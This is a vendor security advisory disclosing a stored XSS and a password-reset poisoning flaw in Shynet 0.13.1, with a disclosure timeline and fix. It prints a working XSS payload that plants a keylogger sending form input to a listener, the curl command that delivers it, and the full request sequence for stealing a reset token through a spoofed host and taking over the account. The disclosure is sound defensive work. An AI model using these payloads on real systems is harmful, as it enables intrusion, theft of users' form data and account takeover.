AI-Powered Application Penetration Testing—Scale Security Without Compromise Learn More

Shynet | VERSION 0.13.1

Shynet | VERSION 0.13.1

Share

The following document describes identified vulnerabilities in the Shynet application version 0.13.1.

Product Vendor

milesmcc

Product Description

Shynet is a web analytics platform that captures and displays standard tracking data. Shynet had approximately 3,100 GitHub stars, 206 forks, and 39 contributors which has made it a popular tool for self-hosted analytics. The project’s official repository is https://github.com/milesmcc/shynet. The latest version of the application is 0.14.0, released on March 15, 2026.

Vulnerabilities List

Two vulnerabilities were identified within the Shynet application:

  • Stored Cross-Site Scripting
  • Insecure Input Validation – Password Reset Feature

Affected Version

Version 0.13.1

Summary of Findings

Bishop Fox staff identified two vulnerabilities in milesmcc Shynet 0.13.1. The most severe issue was an unauthenticated stored cross-site scripting vulnerability that Bishop Fox staff used to add malicious JavaScript to all of the analytics tracking scripts in an example instance of Shynet. Additionally, Bishop Fox staff found a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value.

Impact

The unauthenticated stored cross-site scripting vulnerability was leveraged to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance. Additionally, the password reset poisoning vulnerability was leveraged to obtain a valid cryptographic reset token if the victim clicks the link, resulting in an account takeover.

Solution

Update to version 0.14.0

Timeline

  • 02/17/2026: Initial discovery
  • 03/15/2026: Contact with vendor
  • 03/15/2026: Vendor acknowledged vulnerabilities
  • 03/15/2026: Vendor released patched version 0.14.0
  • 06/18/2026: Vulnerabilities publicly disclosed

Credits

Shynet Version 0.13.1 — Vulnerabilities

Stored Cross-Site Scripting

The Shynet application was affected by two unauthenticated stored cross-site scripting (XSS) vulnerabilities. The location and referrer fields in analytics requests sent to Shynet’s tracking endpoint were stored verbatim in the database and later rendered without escaping each time an administrator viewed the affected service’s dashboard or locations page. The vulnerabilities could be exploited without authentication and used to perform a session-riding attack against administrators to add malicious JavaScript to all tracking scripts.

Vulnerability Details

CVE ID: CVE-2026-35508 

Vulnerability Type: Cross-site scripting (XSS)

Access Vector: ​☒​ Remote, ​☐​ Local, ​☐​ Physical, ​☐​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☐​ Escalation of privileges, ​☐​ Information disclosure, ​☒​ Other (if other, please specify) – Modification of all tracking scripts across all Shynet services in the affected instance

Security Risk: ​☒​ Critical, ​☐​ High, ​☐​ Medium, ​☐​ Low

Vulnerability: CWE-79

Bishop Fox staff determined that Shynet was vulnerable to unauthenticated stored cross-site scripting and exploited the vulnerability to add malicious JavaScript to all tracking scripts.

Shynet's tracking ingress endpoint at /ingress/<SERVICE_UUID>/script.js accepted HTTP POST requests with JSON bodies from any origin without authentication. The request body contained fields that were stored in the database and later rendered in the administrative dashboard. Bishop Fox staff found that unauthenticated users could provide a malicious location or referrer value that executed JavaScript in the context of the viewing user's session.

A typical Shynet tracking POST request contained four values, as demonstrated in the following figure:

POST /ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js HTTP/1.1 
…omitted for brevity… 
 
{"idempotency":"cw91t9y6pntpe9al7ngt2","referrer":"http://tracked.com/refer.html","location":"http://tracked.com/","loadTime":75}

FIGURE 1 - POST request generated by Shynet’s script.js analytics script

The location and referrer fields were then displayed in the service dashboard:

FIGURE 2 - Unique location and referrer values rendered at /dashboard/services/<SERVICE_UUID>/

Additionally, the location value was also displayed on the Locations page:

FIGURE 3 - Unique location values rendered in dashboard

FIGURE 3 - Unique location values rendered in dashboard

Bishop Fox staff set up a test environment that locally resolved the Shynet instance to example.com, then created a simulated shopping application that resolved locally to tracked.com. Bishop Fox staff then created a Shynet service named tracked.com, with UUID b0bd732a-0a76-4904-8b84-13d31f1786c1, and added the following HTML to the mock checkout page for tracked.com:

<noscript> 

    <img src="http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/pixel.gif"> 

</noscript> 

<script defer src="http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js"></script>

FIGURE 4 - Loading the analytics script on the tracked.com mock checkout page

Bishop Fox staff demonstrated the issue by crafting a stored XSS payload that enumerated all Shynet service UUIDs, then injected a keylogger into every tracking script that sent form input from all tracked pages to a listener at http://127.0.0.1:9999, simulating a malicious server on the internet. To begin this process, Bishop Fox staff created a file named payload.json with the following content:

{ 

    "idempotency": "keylogger_chain_001", 

    "location": "http://x' onfocus='fetch(`/dashboard/`).then(r=>r.text()).then(h=>{var d=new DOMParser().parseFromString(h,`text/html`);[...d.querySelectorAll(`a[href*=service]`)].filter(a=>a.href.match(/\\/service\\/[0-9a-f-]{36}\\/$/)).map(a=>a.href.match(/([0-9a-f-]{36})/)[1]).forEach(u=>{fetch(`/dashboard/service/`+u+`/manage/`).then(r=>r.text()).then(h2=>{var d2=new DOMParser().parseFromString(h2,`text/html`),f=new FormData(d2.querySelector(`form`));f.set(`script_inject`,`document.addEventListener(\"change\",function(e){var t=e.target;if(t.name&&t.value){new Image().src=\"http://127.0.0.1:9999/log?field=\"+t.name+\"&value=\"+encodeURIComponent(t.value)+\"&url=\"+encodeURIComponent(location.href)}})`);fetch(`/dashboard/service/`+u+`/manage/`,{method:`POST`,body:f,credentials:`same-origin`})})})})' autofocus=' tabindex='1", 

    "referrer": "http://tracked.com/refer.html", 

    "loadTime": 150 

}

FIGURE 5 - JSON body with XSS payload in the location field

Next, Bishop Fox staff sent the malicious analytics request with the following command:

curl -X POST "http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js" -H "Content-Type: application/json" -d @payload.json

FIGURE 6 - Sending malicious tracking request

XSS payloads submitted in the location field would execute on the following pages:

    • /dashboard/services/<SERVICE_UUID>/
    • /dashboard/services/<SERVICE_UUID>/locations/

XSS payloads submitted in the referrer field would execute on the following page:

  • /dashboard/services/<SERVICE_UUID>/

Bishop Fox staff browsed to /dashboard/services/<SERVICE_UUID>/ as an authenticated administrator to trigger the first stage of the XSS payload. To demonstrate that the first stage had implanted the second stage as intended, staff browsed to /dashboard/services/<SERVICE_UUID>/manage/. The JavaScript keylogger that sent user-submitted form data to a separate listener was present in the Additional injected JS field, as shown in the following screenshot:

FIGURE 7 - Malicious JavaScript added to analytics script configuration

FIGURE 7 - Malicious JavaScript added to analytics script configuration  

The example code shown earlier in this finding enumerated all Shynet services and added the same keylogger payload to every tracking script.

To demonstrate the impact of the modified tracking script, Bishop Fox staff simulated a malicious server on the internet by starting a local listener with the following command:

python3 -m http.server 9999 2>&1 | grep --line-buffered "field=" | sed 's/.*field=/field=/;s/ HTTP.*//'

FIGURE 8 - One-liner to start the listener on port 9999 and filter out irrelevant data

Next, Bishop Fox staff browsed to http://tracked.com/. The following screenshot shows a simulated checkout page that silently loaded the modified malicious script:

FIGURE 9 - Simulated tracked.com checkout page

FIGURE 9 - Simulated tracked.com checkout page  

After filling out all form fields on http://example.com, Bishop Fox staff viewed the data sent to the listener:

FIGURE 10 - Listener capturing form input from simulated checkout page

FIGURE 10 - Listener capturing form input from simulated checkout page

This proof of concept demonstrated how an attacker might leverage the unauthenticated stored XSS vulnerability in Shynet to stealthily compromise every web application configured for analytics monitoring by the affected Shynet instance.

Insecure Input Validation – Password Reset Feature

The Shynet application was affected by a password reset poisoning vulnerability that enabled unauthenticated users to submit a password reset request with a spoofed Host header value. The vulnerability could be exploited without authentication and used to craft a malicious password reset URL that would transmit the password reset token to the attacker when the victim clicked the link.

Vulnerability Details

CVE ID: CVE-2026-35507

Vulnerability Type:

Access Vector: ​☒​ Remote, ​☐​ Local, ​☐​ Physical, ​☐​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☒​ Escalation of privileges, ​☐​ Information disclosure, ​☒​ Other (if other, please specify) Insecure Input Validation

Security Risk: ​☐​ Critical, ​☒​ High, ​☐​ Medium, ​☐​ Low

Vulnerability: CWE-644

Bishop Fox staff determined that the Shynet password reset process used insecure business logic to handle the HTTP Host header. An attacker exploiting this vulnerability could cause a Shynet instance to send a password-reset email to an existing user that would provide the user’s password-reset token to the attacker if the user clicked on the link in the email or software automatically loaded the link.

Shynet used the django-allauth application for authentication, which constructed password reset URLs using Django's request.get_host method. Because Shynet was distributed with a default ALLOWED_HOSTS = * configuration (on line 41 of the file shynet/settings.py), Django did not validate the incoming Host header, allowing any value to pass through and be embedded into the password reset email.

The password reset email template in the file dashboard/templates/account/email/password_reset_key_message.txt operated inside an {% autoescape off %} block and referenced the value returned by the request.get_host function. The {{ password_reset_url }} variable was built by the django-allauth application using the request's Host header value to form the full URL, including the real verification token.

Shynet's default configuration used Django's console email backend (django.core.mail.backends.console.EmailBackend), which printed outgoing emails to the application's standard output rather than delivering them over SMTP. This was the default behavior when the EMAIL_HOST environment variable was not configured. In this default state, password reset emails were only visible in the container logs and are never actually sent to a recipient's email address, meaning the resulting email could not reach the intended recipient. However, a Shynet deployment configured to use an SMTP server (by setting the EMAIL_HOST, EMAIL_PORT, and related variables) would deliver the malicious email to the recipient’s email address, making the attack fully exploitable. The TEMPLATE.env file included commented-out placeholders for these SMTP settings, indicating that production Shynet instances were likely to have email delivery enabled.

To exploit this vulnerability, an attacker must first obtain a valid CSRF token cookie and CSRF middleware token value from the vulnerable Shynet instance by issuing an HTTP GET request to the password reset form with a spoofed Host header. Because Shynet was distributed with Django’s ALLOWED_HOSTS option set to *, Django will issue the necessary anti-CSRF values associated with the attacker's domain.

Bishop Fox staff obtained the necessary anti-CSRF values by connecting to the IP address of the Shynet instance and specified the DNS name of their own server (cstover-attacker.com). For example, if the IP address of the Shynet instance were 10.25.31.37, this step could be performed using the following curl command:

curl http://cstover-attacker.com/accounts/password/reset/ \ 
    --resolve cstover-attacker.com:10.25.31.37

The following request/response pair shows the result of requesting the anti-CSRF values:

Request

GET /accounts/password/reset/ HTTP/1.1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 
Host: cstover-attacker.com 
Connection: keep-alive

Response 

HTTP/1.1 200 OK 
Server: nginx/1.29.5 
Date: Fri, 20 Feb 2026 16:23:17 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 4202 
Connection: keep-alive 
X-Frame-Options: DENY 
Vary: Cookie, Origin 
X-Content-Type-Options: nosniff 
Referrer-Policy: same-origin 
Cross-Origin-Opener-Policy: same-origin 
Set-Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm; expires=Fri, 19 Feb 2027 16:23:17 GMT; Max-Age=31449600; Path=/; SameSite=Lax   

…omitted for brevity… 
<form method="POST" action="/accounts/password/reset/" class="password_reset max-w-lg"> 
    <input type="hidden" name="csrfmiddlewaretoken" value="jXcdLzSDYa4j6OxJUodd2Shidv0m0JS51zST92clsU6Co4ibAwqB0KuoyJOhSeih"> 
…omitted for brevity…

The server response contained the necessary CSRF token cookie and middleware token, which were associated with the cstover-attacker.com domain by the vulnerable Shynet instance. Bishop Fox staff used the two values to submit a password reset request for the [email protected] account, as shown below:

Request

POST /accounts/password/reset/ HTTP/1.1 
Referer: http://cstover-attacker.com/accounts/password/reset/ 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 
Content-Type: application/x-www-form-urlencoded 
Host: cstover-attacker.com 
Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm 
Content-Length: 109 
Connection: keep-alive 

csrfmiddlewaretoken=jXcdLzSDYa4j6OxJUodd2Shidv0m0JS51zST92clsU6Co4ibAwqB0KuoyJOhSeih&email=admin@shynet.local

Response

HTTP/1.1 302 Found 
Server: nginx/1.29.5 
Date: Fri, 20 Feb 2026 16:24:17 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 0 
Connection: keep-alive 
Location: /accounts/password/reset/done/ 
X-Frame-Options: DENY 
Vary: Origin 
X-Content-Type-Options: nosniff 
Referrer-Policy: same-origin 
Cross-Origin-Opener-Policy: same-origin

The HTTP 302 redirect confirmed the password reset was accepted and the email was dispatched. Bishop Fox staff then retrieved the email content from the Django console email backend in the Docker container logs. The malicious email contained the following body:

shynet_main  | Subject: Password Reset Email 
shynet_main  | From: Shynet <[email protected]> 
shynet_main  | To: [email protected] 
shynet_main  | Date: Fri, 20 Feb 2026 16:24:17 -0000 
shynet_main  | Message-ID: <177160465722.10.12999126178338255112@323067de2ffd> 
shynet_main  |  
shynet_main  | Hi there, 
shynet_main  |  
shynet_main  | You're receiving this email because you or someone else has requested a password for your account. 
shynet_main  |  
shynet_main  | This message can be safely ignored if you did not request a password reset. Click the link below to reset your password. 
shynet_main  |  
shynet_main  | http://cstover-attacker.com/accounts/password/reset/key/1-d4aqch-d1f0b2163e4dd357bed4849615f1a4d7/ 
shynet_main  |  
shynet_main  | Thank you, 
shynet_main  | Shynet Review Instance 
shynet_main  | -------------------------------------------------------------------------------

FIGURE 11 – Password reset email with link to malicious domain cstover-attacker.com and the real password reset token

As shown above, the reset link in the email contained a link to http://cstover-attacker.com/ of the legitimate Shynet instance, yet it contained a valid password reset token. If the recipient opened the URL, their browser would send the token to the malicious server. Email security scanning and link preview systems could cause this link to be automatically loaded even if the recipient didn’t open the URL.

Bishop Fox staff emulated the recipient opening the URL, then captured the request to the malicious cstover-attacker.com domain, extracted the password reset link, replaced the host name in the URL with the host name of the real Shynet instance, and loaded the resulting link, as shown below:

Request

GET /accounts/password/reset/key/1-d4aq6c-9ad4e02825db0717aeb1d5ed79f30f9f/ HTTP/1.1 
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.7705 
Host: 10.88.88.40:8085 
Connection: keep-alive

Response

HTTP/1.1 302 Found 
Server: nginx/1.29.5 
Date: Fri, 20 Feb 2026 16:43:42 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 0 
Connection: keep-alive 
Location: /accounts/password/reset/key/1-set-password/ 
X-Frame-Options: DENY 
Vary: Origin, Cookie 
X-Content-Type-Options: nosniff 
Referrer-Policy: same-origin 
Cross-Origin-Opener-Policy: same-origin 
Set-Cookie: sessionid=9hmscs47g1g4nzwi3vywknwow0p7hyen; expires=Fri, 06 Mar 2026 16:43:42 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax

Following the redirect provided Bishop Fox staff with this page:

FIGURE 12 – Accessing the Change Password page using captured token

Bishop Fox staff set the password to bishopfox123, as shown in the following request and response pair:

Request

POST /accounts/password/reset/key/1-set-password/ HTTP/1.1 
Host: localhost:8085 
Cookie: sessionid=6ma0x29gpkqtsrvmh6mifwg32ldzm4tb; csrftoken=5g3ZnEFyLlpeZlXvsidZBoYXy017zYjuVDozPNrtzPlh44MOpahIhaUgNRuCnCY3 
Content-Type: application/x-www-form-urlencoded 
Referer: http://localhost:8085/accounts/password/reset/key/1-set-password/ 

csrfmiddlewaretoken=5g3ZnEFyLlpeZlXvsidZBoYXy017zYjuVDozPNrtzPlh44MOpahIhaUgNRuCnCY3&password1=bishopfox123&password2=bishopfox123

Response

HTTP/1.1 302 Found 
Server: nginx/1.29.5 
Date: Tue, 10 Mar 2026 14:25:32 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 0 
Location: /accounts/password/reset/key/done/ 
X-Frame-Options: DENY 
Vary: Origin, Cookie 
X-Content-Type-Options: nosniff 
Referrer-Policy: same-origin 
Cross-Origin-Opener-Policy: same-origin 
Set-Cookie: messages=W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlBhc3N3b3JkIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkLiIsIiJdXQ:1vzy1c:O3rkmGz0ZA_IjtWGqA2UPgKPW72I0B7F5gZD2rN4mTw; HttpOnly; Path=/; SameSite=Lax

The messages cookie in the response decoded to “Password successfully changed”, as shown below:

$ echo -n "W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlBhc3N3b3JkIHN1Y2Nlc3NmdWxseSBjaGFuZ2VkLiIsIiJdXQ" | base64 -d 
[["__json_message",0,25,"Password successfully changed.",""]]

FIGURE 13 – Decoding the base64 encoded messages cookie.

Finally, Bishop Fox staff logged into the application with the new password which is demonstrated in the below request and response pair:

Request

POST /accounts/login/ HTTP/1.1 
Host: localhost:8085 
Cookie: csrftoken=…omitted for brevity… 
Content-Type: application/x-www-form-urlencoded 
Referer: http://localhost:8085/accounts/login/  

csrfmiddlewaretoken=…omitted for brevity…[email protected]&password=bishopfox123

Response

HTTP/1.1 302 Found 
Server: nginx/1.29.5 
Date: Tue, 10 Mar 2026 14:25:40 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 0 
Location: / 
X-Frame-Options: DENY 
Vary: Cookie, Origin 
X-Content-Type-Options: nosniff 
Referrer-Policy: same-origin 
Cross-Origin-Opener-Policy: same-origin 
Set-Cookie: messages=W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlN1Y2Nlc3NmdWxseSBzaWduZWQgaW4gYXMgYWRtaW5Ac2h5bmV0LmxvY2FsLiIsIiJdXQ:1vzy1k:zTf2NueyiuVxdjL5Ve6bv0ZBmsUcmf6WiPy0MxrWW0Y; HttpOnly; Path=/; SameSite=Lax 
Set-Cookie: csrftoken=ExXKYxal9GlJusp87LILLAUw2HV9BthR; expires=Tue, 09 Mar 2027 14:25:40 GMT; Max-Age=31449600; Path=/; SameSite=Lax 
Set-Cookie: sessionid=pglmweoy9uzifs35sv3adm828ru7qnw2; HttpOnly; Path=/; SameSite=Lax

After logging into the application with the new password, the messages cookie in the response decoded to “Successfully signed in as [email protected]”, as shown below:

$ echo -n "W1siX19qc29uX21lc3NhZ2UiLDAsMjUsIlN1Y2Nlc3NmdWxseSBzaWduZWQgaW4gYXMgYWRtaW5Ac2h5bmV0LmxvY2FsLiIsIiJdXQ " | base64 -d 
[["__json_message",0,25,"Successfully signed in as [email protected].",""]]

FIGURE 14 – Decoding messages cookie

This vulnerability was particularly severe because it required no authentication, and it potentially enabled an attacker to take over an administrative account.


Banksy Fox exploder1

By Bishop Fox Researchers

Security Researchers

Due to the nature in which we conduct research and penetration tests, some of our security experts prefer to remain anonymous. Their work is published under our Bishop Fox name.

Bishop Fox is the leading authority in offensive security, providing solutions ranging from continuous penetration testing, red teaming, and attack surface management to product, cloud, and application security assessments. We’ve worked with more than 25% of the Fortune 100, half of the Fortune 10, eight of the top 10 global technology companies, and all of the top global media companies to improve their security. Our Cosmos platform, service innovation, and culture of excellence continue to gather accolades from industry award programs including Fast Company, Inc., SC Media, and others, and our offerings are consistently ranked as “world class” in customer experience surveys. We’ve been actively contributing to and supporting the security community for almost two decades and have published more than 16 open-source tools and 50 security advisories in the last five years. Learn more at bishopfox.com or follow us on Twitter.

Subscribe to our blog

Be first to learn about latest tools, advisories, and findings.

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.